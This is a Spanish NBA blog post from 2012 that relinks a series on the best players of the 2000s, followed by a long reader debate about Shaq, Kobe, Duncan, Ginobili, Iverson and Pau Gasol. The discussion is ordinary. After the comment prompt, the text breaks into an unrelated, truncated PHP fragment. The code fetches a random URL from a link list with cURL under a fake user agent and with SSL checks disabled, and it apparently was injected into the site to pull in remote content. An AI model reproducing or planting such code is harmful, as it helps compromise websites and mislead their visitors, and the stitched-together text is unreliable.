Clásicos: Los mejores de la década

28 de May de 2012 por txusma

Justamente ayer comentábamos la posibilidad de rescatar posts antiguos que seguramente la mayoría de vosotros no habéis disfrutado. Quieras que no, ha sido este año cuando el blog ha explotado y hemos recibidos más visitantes con ganas de participar, debatir y dejar su opinión.

Como si de una casualidad mística se tratara, hoy comprobamos cómo se ha iniciado un debate sobre los mejores jugadores de la década y nos llena de orgullo informaros de que justamente Viva_Dirk se curró en septiembre de 2010 una serie de 10 artículos en los que presentaba los que fueron, para él, los mejores jugadores de la década del 2000.

Os dejamos el enlace para que repaséis sus elecciones y, si queréis, reabráis el debate en este mismo post. Este tipo de discusiones no mueren nunca por más que pase el tiempo.

Comenta

44 comentarios a esta entrada

  1. Esteban dice:
    #1

    el mejor de la decada, lejos por lejos fue shaq, ni duncan ha mostrado semejante dominio como shaq en los tres p`rimeros titulos de los lakers

    en la final frente a los pacers creo que promedio 38 puntos y 18 rebotes, cosas que repitio contra los 76s y contra los nets, simplemente no tenia quien lo marque

    si bien kobe gano mas anillos y jugo momentos tremendos, y duncan domino la nba por mas tiempo, creo que ninguno jugo al nivel imparable de shaq

      Citar

  2. Esteban dice:
    #2

    final indiana vs lakers:

    numeros de shaq

    juego 1:

    puntos 43, rebotes 19

    juego 2:

    40 pùntos y 24 rebotes

    juego 3:

    33 puntos, 13 rebotes

    juego 4:

    36 puntos y 21 rebotes

    juego 5:

    35 puntos 11 rebotes

    juego 6:

    41 puntos 12 rebotes

      Citar

  3. simon dice:
    #3

    Por cierto repasando la lista bastante de acuerdo excepto en la posicón de Wade ( para mi gusto lo bajaría al 10 y Pierce y Billups subirian un escalón ) por puro gusto e intercambiaria la posición de Duncan con Bryant!
    Aunque ahora pensando quizás me falte Iverson por ahi ( pero weno como ese tipo de jugador no es mucho de mi agrado me gusta ) jajaja
    para seguir un poco mas allá diria.
    11- Iverson
    12 Kidd, Ginobili, Allen ( ponganles el orden que quieran )

    PD: Esteban no conocia esas estadisticas de O´neal absolutamente impresionante!!! O´neal probablemente haya sido de los jugadores mas imparables de la Historia, pero el estilo de Duncan y el hecho de que estar jugando aun a ese nivel tan alto hace decantar la balanza de su lado. O´neal en cuanto el fisico no lo acompañó su juego bajó muchisimo pero Duncan ahi sigue, tirando de fundamentos.

      Citar

  4. Esteban dice:
    #4

    Si simon, creo q duncan ah dominado la decada, aun mas que kobe, pero lo mejor q eh visto en esta decada ah sido shaq, y sus numeros en los siguientes dos anillos se les parecen mucho, aunque kobe ya tenia mayor protagonismo y shaq anotaba algo menos

    Iverson ahí anda, igual q a lebron no le favorece mucho el año de debut ya q antes del 00 iverson ya era una mega estralla, incluso maximo anotador en el 99, y luego de la final del 00 se cayo mucho, de hecho creo que perdio los ultimos 5 años de la decada

    PD: hay jugadores que son individuales y otros q logran sus cosas por equipo, individualmente billups no podria estar en esta lista, su MVP de final lo ponen aqui, pero eso fue por q debian darselo a alguien y detroit era un equipo, mcgrady individualmente fue mas preponderante en la decada que billups, aunque las 6 finales de conferencia de los pinstons merecen un reconocimiento a alguien, y lo mas cercado a una estrella q tenian era billups

    Creo q kidd con sus dos finales de nba hizo aun mas meritos q billups,

      Citar

  5. TheDeerHunter dice:
    #5

    Como dicen los artículos se valora la regularidad.
    Shaq tuvo 3 años muy buenos al inicio de la década, pero luego su bajón le perjudica mucho. De haber mantenido ese nivel de dominio estaríamos hablando de un top5 histórico, como sí lo amenaza Kobe.
    Por ese motivo Kobe y, después Duncan, entran de lleno en el top 10, pero Shaq ni de coña. La diferencia entre ellos es la ambición. A Shaq le faltó. Es un hecho.

      Citar

  6. GreenPride dice:
    #6

    Creo que Shaq se volvió autocomplaciente y dejó de entrenar, así de sencillo. Perdió la motivación.
    Mientras estuvo en forma, ha sido probablemente uno de los jugadores más imposibles de frenar que se han paseado por la NBA. En las tres campañas de los anillos con los Lakers fue un espectáculo. Esos números que nos ha mostrado Esteban muestran bien a las claras cómo dominaba los partidos y hasta qué punto era imparable.
    Luego esa falta de ambición que nombráis le hizo ponerse más gordo de la cuenta y ya nunca pudo volver a ser tan decisivo. Aún así todavía tuvo tiempo para motivarse una vez más en Miami y ayudar decisivamente a un gran Wade a ganar el anillo para los Heat.
    Sin embargo si sólo miramos la década, estoy de acuerdo en que es el mejor de largo los 3 primeros años pero su falta de regularidad y sus malos últimos años lo ponen por detrás de Duncan y Kobe por ejemplo.

      Citar

  7. Pcerezo dice:
    #7

    Lo de Oneal en la década es lógica su no inclusión como más regular. Hay que tener en cuenta que es mas mayor que los otros dos. Si hubiesen coincidido con la misma edad en la misma década no habría habido color. Los últimos cuatro años de Oneal en la liga con más de 35 años han sido lamentables.

      Citar

  8. TheDeerHunter dice:
    #8

    El rendimiento de Oneal a la misma edad de Duncan por un lado y Kobe por el otro no tiene ni punto de comparación con el que estamos viendo de ambos esta misma temporada.
    Creo que la ambición y la manera de cuidarse de uno y otros es como la noche y el día.

      Citar

  9. Melo15 dice:
    #9

    Yo no veo razones para poner a Ginobili en un TOP-15 de la decada, creo que ha habido jugadores mejores que el.

      Citar

  10. MagicJohnson32 dice:
    #10

    Tengo la sensación, cada vez que se reabre el debate sobre la importancia de Shaq y Kobe en el three-peat, que la gente solo vio las Finales, y no se dan cuenta de que los Lakers no ganaron aquellos anillos en las finales sino en las eliminatorias de la conferencia Oeste, contra Portland, contra Sacramento, contra San Antonio, contra equipos infinitamente mejores que aquellos Pacers, Sixers o Nets que se encontraron en las Finales. Y en aquellos partidos decisivos, en aquellas eliminatorias del Oeste, Kobe fue tanto o más importante que Shaquille. Fue Bryant quien silenció el ARCO Arena con Shaq eliminado por faltas, fue Kobe quien lideró la remontada imposible contra los Blazers con Shaq frustrado por la defensa de Sabonis y fue Kobe quien aplastó a los Spurs en el Alamo con 45-10.

    Una década hace ya de todo aquello y supongo que muchos no lo vieron o ni siquiera lo saben.

      Citar

  11. txusma dice:
    #11

    Yo hay veces que no soy totalmente consciente de que Kobe tiene 33 años. Increíble que mantenga este nivel.

      Citar

  12. Esteban dice:
    #12

    MagicJohnson32:
    Tengo la sensación, cada vez que se reabre el debate sobre la importancia de Shaq y Kobe en el three-peat, que la gente solo vio las Finales, y no se dan cuenta de que los Lakers no ganaron aquellos anillos en las finales sino en las eliminatorias de la conferencia Oeste, contra Portland, contra Sacramento, contra San Antonio, contra equipos infinitamente mejores que aquellos Pacers, Sixers o Nets que se encontraron en las Finales. Y en aquellos partidos decisivos, en aquellas eliminatorias del Oeste, Kobe fue tanto o más importante que Shaquille. Fue Bryant quien silenció el ARCO Arena con Shaq eliminado por faltas, fue Kobe quien lideró la remontada imposible contra los Blazers con Shaq frustrado por la defensa de Sabonis y fue Kobe quien aplastó a los Spurs en el Alamo con 45-10.

    Una década hace ya de todo aquello y supongo que muchos no lo vieron o ni siquiera lo saben.

    eso es muy cierto magic, los lakers ganaban los campeonatos en el oeste, pero lo que queda es la final, no se entregan MVP por pasar rondas en tu conferencia, y daba la casualidad que el este nunca tenia un centro capaz de detener a shaq, cosa q si pasaba con divac, sabonis u el que sea, pero eso no le quita merito, y es cierto, shaq debuto en el 93, es de otra generacion

    en fin, duncan y kobe, quien fue mas dominante, por ser decada solamente gana kobe, 5 anillos contra 3, incluyendo 7 finales de liga en 10 años, demuestra su dominio

      Citar

  13. HisRoyalAirness dice:
    #13

    Estoy con Magic al 100×100. Uno de mis essentials que tengo guardado en el ordenador es el sèptimo contra los Blazers del primer anillo. Sabas amargàndole la existencia a Shaq, sin dejarle recibir un solo balón sacándole como 10 años. El partido se termina cuando eliminan al de Kaunas por faltas, así de claro. De todos modos no me olvido del arbitraje bastante lamentable y de esa ùltima infracción…en fin. Digno de ver también por el partidazo de Sheed y la exhibiciòn de Pippen (definición de la RAE de defensa all-around perfecta) haciendo de todo. Nunca me gustó ese anillo de Lakers y la final contra Pacers no hubo color, no era equipo ni de primera ronda del Oeste.

    Por otra parte, tengo que darle por una vez parte de razón a nuestro ROY Melo: T-Mac tuvo años espectaculares y, si bien puede no entrar en este grupo, creo que su candidatura està más que justificada.

    Por cierto, tenéis que sacar otra vez los artículos de los mejores de la historia por posición, son jodidamente épicos

      Citar

  14. txusma dice:
    #14

    HisRoyalAirness:

    Por cierto, tenéis que sacar otra vez los artículos de los mejores de la historia por posición, son jodidamente épicos

    Al tiempo 😉

      Citar

  15. MagicJohnson32 dice:
    #15

    txusma:
    Yo hay veces que no soy totalmente consciente de que Kobe tiene 33 años. Increíble que mantenga este nivel.

    Y no es tanto la edad como el hecho de que lleve ya 16 temporadas en la liga. El otro dijeron que el máximo promedio anotador en toda la historia de un Guard con 16 temporadas en la NBA eran 12 puntos y medio, de Reggie Miller. Kobe ha hecho pedazos la marca, claro, con 28 ppp.

      Citar

  16. Ru dice:
    #16

    MagicJohnson32: Y no es tanto la edad como el hecho de que lleve ya 16 temporadas en la liga. El otro dijeron que el máximo promedio anotador en toda la historia de un Guard con 16 temporadas en la NBA eran 12 puntos y medio, de Reggie Miller. Kobe ha hecho pedazos la marca, claro, con 28 ppp.

    Y como,llegado al caso cuando hablamos de Kobe hay que sacar a comparación al Dios del baloncesto,15 temporadas 30.1 ppp,si no se hubiese retirado tendría esa marca que hoy día tiene Kobe.Muchos consideran un sacrilegio compararlos pero nadie puede negar que es lo más cercano a Michael Jordan que ha habido.

    Kobe Bryant es un mito,caiga mal o caiga bien -en mi caso más mal que bien xDD-.

      Citar

  17. MagicJohnson32 dice:
    #17

    Ru: Y como,llegado al caso cuando hablamos de Kobe hay que sacar a comparación al Dios del baloncesto,15 temporadas 30.1 ppp,si no se hubiese retirado tendría esa marca que hoy día tiene Kobe.Muchos consideran un sacrilegio compararlos pero nadie puede negar que es lo más cercano a Michael Jordan que ha habido.

    Kobe Bryant es un mito,caiga mal o caiga bien -en mi caso más mal que bien xDD-.

    Me refiero al promedio anotador en una temporada. Es decir, en su 16ª temporada en la NBA, Reggie Miller promedió 12.6 puntos. Kobe ha promediado 28. Jordan, en su 15ª y última temporada promedió 20 (con todos los condicionantes que hay que poner siempre que se habla de él, por sus retiradas y vueltas a la competición).

      Citar

  18. Ru dice:
    #18

    Pensaba que hablabas del acumulado tras 16 temporadas,ya me parecía el promedio de Miller un poco bajo xD

      Citar

  19. Sancho88 dice:
    #19

    Llamadme outsider, perdedor, looser, carroña. Yo tuve un jugador favorito en los 90: Hakeem Olajuwon, y uno en los 00: Chris Webber

      Citar

  20. MagicJohnson32 dice:
    #20

    Vaya añazos tuvo Webber entre finales de los 90 y la primera mitad de la década pasada. Qué bueno fue. Se hacía caquita en los momentos importantes y eso le ha impedido estar entre los grandes, pero era escandalosamente bueno.

    Lo de Hakeem… pues claro.

      Citar

  21. rumbero dice:
    #21

    Y a Pau lo metemos en el top 15?

      Citar

  22. Sancho88 dice:
    #22

    Siempre me han fascinado los tipos grandes capaces de hacer movidas de bases, es una debilidad personal. El pase por la espalda de Webber era brutal. Coño, no abundan los trucos de magia en el nuevo imperio de los James, Durant, Griffin, etc. Ahora si no te cuelgas como un bestia y destrozas el aro o haces un póster no eres nadie. Yo, personalmente, prefiero el juego como lo concebía gente como Webb o J-Will, un estilo más callejero que ortodoxo, pero una pasada la verdad. Qué vuelva Rafer Alston!! jejej

      Citar

  23. Sancho88 dice:
    #23

    rumbero:
    Y a Pau lo metemos en el top 15?

    La que has liao con esa pregunta Rumbero. Creo que tendremos debate hasta verano con esa pregunta. Yo creo que se le puede incluir perfectamente, pero ahora aparecerá alguien que dirá que no es ni top 50 y empezará a meter por delante a Steve Francis, Bruce Bowen, Robert Horry, Tayshun Prince, Ben Wallace, Jermaine O’Neal, y así a cualquiera antes que reconocerle méritos a Pau. Es un hecho, y no pasa nada por acomplejarse y cargar las iras sobre él, pero en esta página hay mucho odio hacia Pau Gasol. Sé que os nace de dentro, pero no pasa nada, para muchos amantes del baloncesto sin color de fan de equipo importante quedará siempre en nuestro recuerdo

      Citar

  24. Sancho88 dice:
    #24

    En realidad está wapo ser de un equipo de mierda como los Kings y poder ver con objetividad y perspectiva cualquier cosa que pasa en la liga, porque pase lo que pase no será ni bueno ni malo para tu equipo. Por ejemplo, Daimiel que es de los Wizards, pues se lo pasará de coña con los Playoffs porque puede verlo todo con tranquilidad y sin agobiarse por la eliminación de su equipo. Los fans de los equipos pequeños ya tenemos asumido que nuestra charanga jamás aspirará a nada, y aún así seguimos siendo fans, lo cual merece un premio

      Citar

  25. Viva_Dirk dice:
    #25

    rumbero:
    Y a Pau lo metemos en el top 15?

    No hay discusión posible rumbero, si hablamos estrictamente de la década, Pau esta realmente cerca del top10. Tiene 2 anillos y sus números son buenísimos. En relación a los que ocupan la lista le falta regularidad y haber aparecido mas veces tanto en los mejores quintetos como en los All-Stars, además de haber tenido alguna actuación de meganúmeros.

    Pero vamos, recuerdo perfectamente que cuando hice la lista, se quedaron fuera Gasol, Kidd y Ray Allen, en el orden que prefieras. Iverson sale perdiendo en esa pelea, como alguien ha dicho sus 3 últimos años de década han sido lamentables y se ha mostrado como mucho peor profesional cuando le han sacado de un ambiente donde era el rey…y de donde el mismo forzó su traspaso negandose a jugar, algo que le hace bajar hasta por debajo del top15 sin duda.

    Despues de esos 3 que he dicho si podrian aparecer Parker y Ginobili, aunque claro habria que contextualizar respecto a ciertos jugadores que aunque no han tenido el éxito colectivo de estos dos han brillado con mas fuerza en el plano individual, como T-Mac, Webber, D.Howard o Rasheed Wallace. Por dar un dato, Ginobili no aparece entre los 50 jugadores que mas puntos han anotado en esa década, hay que irse hasta el Nº72 para encontrarlo, y es que ha tenido un rol muy muy específico como para situarlo por encima de jugadores con ciertos méritos individuales, sin dudar en ningun caso de su talento.

    Hablando de trayectoria, tanto Ginobili como Parker aparecerian en ese top15, pero es lógico que se piense en otros jugadores antes que en ellos cuando se habla de una lista de los mejores jugadores, lo cual no solo implica éxito colectivo. No creo que nadie pusiera por delante de Malone, Barkley, Stockton o Nash a jugadores como AC Green o Sam Cassell, por muchos anillos que los segundos tengan mas que los primeros.

      Citar

  26. Sancho88 dice:
    #26

    Ok Dirk, me parece muy buena la reflexión, pero no caigamos en agravios comparativos de poner a jugadores con rol defensivo o secundario por encima de otros con verdadero talento. La justificación del top me parece adecuada, con el dato que has citado, pero qué hubiera pasado si Manu hubiese tenido rol principal? Creo que su aportación en la media de anotación en su carrera sería muy superior, porque talento tiene para parar un tren. Su caso es muy especial, prácticamente único. Un arma específica de banquillo que salía y sigue saliendo para aprovechar las debilidades del rival. Pero como ejemplo de ese otro baloncesto no basado en “a ver quien la tiene más larga”, me parece ideal. Yo siempre he defendido que el talento y la esencia se guarda en frascos pequeños. Siempre disfrutaré mucho más con un partido de Manu como el de ayer, en el cual da un clínic de todos los fundamentos de técnica individual, además de otros apartados sicológicos y colectivos del juego, que con vastas demostraciones de anotación, no sé, por ejemplo Danny Granger no? Un tipo capaz de meter 30 puntos por noche, top 5 en anotación los últimos tres años, como se dijo por aquí hace algunos días, con una media de anotación superior a la de Manu… pero qué hacemos? ponemos a Granger por delante de Manu símplemente porque mete más puntos? Sería simplificar demasiado los criterios, y además, viendo la reflexión de tu comentario y de toda la serie, sería cargarte de un plumazo una lista realmente muy bien elaborada solamente por criterios cuantitativos.

    Entonces, qué es más importante? La calidad o la cantidad? Y voy más allá, en qué momento se duda de la cantidad de tipos como Manu Ginobili? Qué estaríamos queriendo decir con esa duda, o con esa sospecha de sus medias anotadoras: qué nunca fue capaz de meter 20 puntos por noche regularmente? Yo lo quiero ver con otra visión, y es esta: en fogonazos mentales de la pasada década, veo a Manu Ginobili destrozando a tantos equipos, comentándolo con mis hermanos, amigos, etc. las exhibiciones de este tío, que me es imposible poner a Chauncey Billups por delante de él, imposible…

      Citar

  27. Sancho88 dice:
    #27

    Y en esos fogonazos de la pasada década, como bien digo, se me vienen a la mente grandes momentos: por ejemplo, que ningún equipo fue capaz de vacunarse contra la fiebre amarilla (mis Kings casi, pero no); que Vince Carter fue un dios durante un año tras su exhiición en el mejor concurso de mates de la historia (a mi juicio), el que disputó con Steve Francis; que T-Mac era símplemente el mejor jugador de la NBA (también a mi juico); que un día llegó a la NBA un señor chino de 2,30 con movimientos de alero y todos nos quedamos totalmente flipados; que los ‘Bad boys’ de Detroit revivieron durante algunos años, y que gracias a ellos se recordaron los años 80; que un señor largo y blanco y feo llegó a Los Ángeles en 2008 (según Esteban en el traspaso más fraudulento de la historia, según Denise en uno de los más fraudulentos después del de Paul y después del de Sessions, que lo explique algún día porque con ambos se cabreó, jeje) y los Lakers volvieron a situarse en el mapa del Oeste; que todos sentimos acojonamiento y miedo por el trébol, por el ‘Big Three’ de los Celtics, pues iban camino de batir el record de los Bulls de Jordan y se llevaron el anillo más arrasador que se recuerda en muchos años; y dentro de estos recuerdos, y para mí por delante de la exhibición de Duncan con sus tiros a tabla, o del talento de Parker penetrando a canasta, si hay un recuerdo que me viene de los títulos de los Spurs es el de Manu Ginobili destrozando al equipo rival y todo el mundo diciendo al día siguiente… joder, qué buneo es Manu Ginobili!!

    Si alguno tiene mejores recuerdos de la pasada década de la NBA, que salga a la palestra por favor, jeje.

      Citar

  28. Sancho88 dice:
    #28

    En vuestro colegio o instituto no pasaba que después del concurso de mates de Vince Carter al día siguiente todos querían ser como él y que mucha gente se compró la camiseta ‘to chunga’ del Tiranosaurius Rex de los Raptors con el nombre de Carter a la espalda? Y que erais tan pequeños o jóvenes o tontos (como en mi caso) que pensabais que se llamaba Nick Carter, como el cantante de los Back Street Boys pero en versión negra? En fin, disculpad mis delirios a altas horas de la madrugada… seguramente cuando sea awelo seré del club del Abuelo Víctor, como diría Montes, jejej

      Citar

  29. Sancho88 dice:
    #29

    Último delirio, aclaratorio. Lo de Nick Carter era porque no existía internet (o en ese momento era casi una quimera tener internet) y muchos solo podíamos ver NBA por las tres mejores jugadas de la noche de Antena 3, o por algún resumen, y había cierta dislexia con los nombres… ya os digo, en mi colegio el bueno de Vicente fue rebautizado como Nick, jejej. Coño, que buenos tiempos… cuántos como yo seguiais la NBA por la página 242 y 243 del teletexto de telecinco? Fuck Yeah!!

      Citar

  30. Uno cualquiera dice:
    #30

    MagicJohnson32: Y no es tanto la edad como el hecho de que lleve ya 16 temporadas en la liga. El otro dijeron que el máximo promedio anotador en toda la historia de un Guard con 16 temporadas en la NBA eran 12 puntos y medio, de Reggie Miller. Kobe ha hecho pedazos la marca, claro, con 28 ppp.

    No me parece una comparación justa. Kobe es de la quinta de los que se saltaron la universidad, por lo tanto, ha llegado a su 16º temporada con 33 años.

    Si no me equivoco, Miller llegó a su 16º temporada con 37-38 años (la 2002-2003 y nació en el 1965)… no es comparable.

    Por cierto, en su 18º temporada, Miller con 39-40 añazos promedió 14,8 puntos. ¡Que crack Daimiel!

      Citar

  31. rumbero dice:
    #31

    Sancho88:
    Y que erais tan pequeños o jóvenes o tontos (como en mi caso) que pensabais que se llamaba Nick Carter, como el cantante de los Back Street Boys pero en versión negra?

    Que crack xD! Yo también crecí con los TOP de los deportes de Antena 3 y los resumenes del sábado por la mañana del canal+ (cuando era por abierto).Acaba de salir el nombre de Miller, pues recuerdo que le estuve llamando bastante tiempo “Richie” gracias a las jugadas de A3. Y lo divertido que era ver como la chica de los deportes entraba en shock al intentar pronunciar bien Wally Szczberbiak. Otros tiempos.

    Muy de acuerdo Viva_Dirk. Es que estaba intentando acabar de completar la lista con 5, y teniendo en cuenta esa regularidad en 10 años, veo a pocos nombres que puedan estar por delante suyo la verdad. Luego cada uno pondrá a sus Iverson, McGrady, Carter donde le de la gana, pero Pau no puede irse muy lejos en esta clasificación.

      Citar

  32. rumbero dice:
    #32

    Sancho88:
    si hay un recuerdo que me viene de los títulos de los Spurs es el de Manu Ginobili destrozando al equipo rival y todo el mundo diciendo al día siguiente… joder, qué buneo es Manu Ginobili!!

    Pues eso mismo acabo de decir yo después de ver el resumen del OKL-SAS. Creo que hoy es obligatorio verse el partido entero para ver la que han liado el argentino y el francés.

      Citar

  33. MagicJohnson32 dice:
    #33

    Uno cualquiera: No me parece una comparación justa. Kobe es de la quinta de los que se saltaron la universidad, por lo tanto, ha llegado a su 16º temporada con 33 años.

    Si no me equivoco, Miller llegó a su 16º temporada con 37-38 años (la 2002-2003 y nació en el 1965)… no es comparable.

    Por cierto, en su 18º temporada, Miller con 39-40 añazos promedió 14,8 puntos. ¡Que crack Daimiel!

    No se trata de eso. Para entender el mérito de lo que ha hecho Kobe has de compararlo con los demás jugadores que fueron a la NBA directamente desde el Instituto y ver en qué condiciones llegan a esa edad y qué rendimiento ofrecen. Mira McGrady, Rashard Lewis o Jermaine, que son del mismo draft que Kobe o incluso posteriores. Están prácticamente jubilados desde hace varios años. Mira Garnett, cómo ha tenido que reajustar su juego tras dos temporadas durísimas, en las que el físico ya no le aguantaba. Kobe hace unos números casi idénticos a los que conseguía en su plenitud física y no es que sea una bestia a lo LeBron ni mucho menos.

      Citar

  34. MagicJohnson32 dice:
    #34

    Sancho88:
    cuántos como yo seguiais la NBA por la página 242 y 243 del teletexto de telecinco? Fuck Yeah!!

    Joer, todavía recuerdo cuando la única manera de seguir la NBA era a través de los resultados que salían en los breves del Marca y el As…

    A ver si alguien supera este nivel de frikismo extremo: yo, junto a mi (entonces) cuñado seguía la NBA por la página 225 del teletexto de la CNN ¡¡¡¡en directo!!! Cada dos minutos actualizaban la página con el marcador de los partidos que se estaban jugando. Y, sí amigos, nos quedábamos a seguir los partidos de los Lakers a través del teletexto. Pasábamos el rato jugando al NBA Live 96, jeje, con esos Lakers de Van Exel, Eddie Jones, Cedric Ceballos, Elden Campbell, Divac, Corie Blount, Anthony Peeler, Sedale Threatt y George Lynch. Madre mía…

    Entonces llegó internet y los pudimos seguir por el gamechannel de yahoo.

    Y más tarde llegaron (God Bless Them!!!) los streams y pudimos verlos.

    No sabéis, los más jóvenes, qué suerte tenéis. Cabrones xD

      Citar

  35. Melo15 dice:
    #35

    Pues yo los veo por el League Pass, cuando quiero y como quiero ejejejjje

      Citar

  36. MagicJohnson32 dice:
    #36

    Es que lo de cabrones iba por ti, básicamente 😉

      Citar

  37. rumbero dice:
    #37

    MagicJohnson32:P>A ver si alguien supera este nivel de frikismo extremo: yo, junto a mi (entonces) cuñado seguía la NBA por la página 225 del teletexto de la CNN ¡¡¡¡en directo!!! Cada dos minutos actualizaban la página con el marcador de los partidos que se estaban jugando. Y, sí amigos, nos quedábamos a seguir los partidos de los Lakers a través del teletexto. Pasábamos el rato jugando al NBA Live 96, jeje, con esos Lakers de Van Exel, Eddie Jones, Cedric Ceballos, Elden Campbell, Divac, Corie Blount, Anthony Peeler, Sedale Threatt y George Lynch. Madre mía…

    Eso es frikismo high-level, si señor. El resto de mortales que nos consideramos falsos seguidores de la NBA no podemos hacer otra cosa que postrarnos y quitarnos el sombrero.
    Yo hace un tiempo recuperé mi NBA JAM para echar unas risas con los colegas. Cosa fina los vicios que me habia pegado con los Suns de Majerle-Barkley y los Warriors de Hardaway-Mullin

      Citar

  38. melo15 dice:
    #38

    Bueno, quiero retomar el debate, a mi no me venceis.
    Sancho, preguntabas si que era mas importante la calidad o la cantidad, pues T-Mac tenia mucha calidad y la expresaba en puntos, una cantidad brutal de puntos.
    Sobre Iverson, tuvo unos años a un nivel estratosferico y eso no le quita un puesto en esta lista.
    Nada de coñas con Jermaine O’neal, que un par de años mas a ese nivel y a mi juicio entra en esta lista con la gorra.
    No creo que Ginobili se merzca entrar en un Top-15 de esta decada, esque no se puede comparar a Ginobili con Iverson!

      Citar

  39. Sancho88 dice:
    #39

    Desde aquí lanzo mi propuesta descabellada de la noche: crear un espacio rollo “Batallitas del abuelo Víctor”, en honor a Andrés montes el título, donde cada puto freak de la página, empezando por los viejos hasta llegar al retoño Melo, digamos cuáles son nuestras primeras experiencias con la liga, cómo nos las arreglábamos para seguirla, momentos freaks, desvarajustes mentales, etc. Yo creo que estaría genial esa sección, y cada semana actualizando con las batallitas de cada user que se preste al experimento. Yo me presto pero no quiero ser el primero porque creo que hay una jerarquía o gerontocracia que respetar, que pa’ eso por aquí os tragabais las hostias de Jota contra Larry en directo. Quén se apunta al temario?

      Citar

  40. MagicJohnson32 dice:
    #40

    Mmmm, me mola. Voy a proponerlo al Consejo de los Ents.

      Citar

  41. Viva_Dirk dice:
    #41

    melo15:
    Bueno, quiero retomar el debate, a mi no me venceis.
    Sancho, preguntabas si que era mas importante la calidad o la cantidad, pues T-Mac tenia mucha calidad y la expresaba en puntos, una cantidad brutal de puntos.
    Sobre Iverson, tuvo unos años a un nivel estratosferico y eso no le quita un puesto en esta lista.
    Nada de coñas con Jermaine O’neal, que un par de años mas a ese nivel y a mi juicio entra en esta lista con la gorra.
    No creo que Ginobili se merzca entrar en un Top-15 de esta decada, esque no se puede comparar a Ginobili con Iverson!

    ¿Porque no? De hecho estoy deacuerdo con esa afirmación pero el que es infinitamente superior es Manu Ginobili respecto a un jugador que pensaba que la palabra equipo se referia a los balones y demás cosas que llevaban los empleados.

    McGrady igual, nunca consiguió pasar de 1ª ronda de play-offs, unos años por una cosa y otros por otra, no se le puede comparar en muchos términos con Manu.

      Citar

  42. TheDeerHunter dice:
    #42

    No te lo crees ni tú, viva

      Citar

  43. melo15 dice:
    #43

    Dirk, pero por mucho que odieis la chuleria y pasotismo de Iverson, no le podeis quitar sus logros y su talento y calidad, en mi opinion tambien habria ganado anillos al lado de Duncan.
    McGrady no paso de primera ronda porque en los Magic tenia un equipo de mierda (sin Hill) y con Houston entre el y Yao estaban todo el tiempo en la enfermeria.

      Citar

  44. txusma dice:
    #44

    Como puede ser que siempre acabemos hablando de Iverson? 😀

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>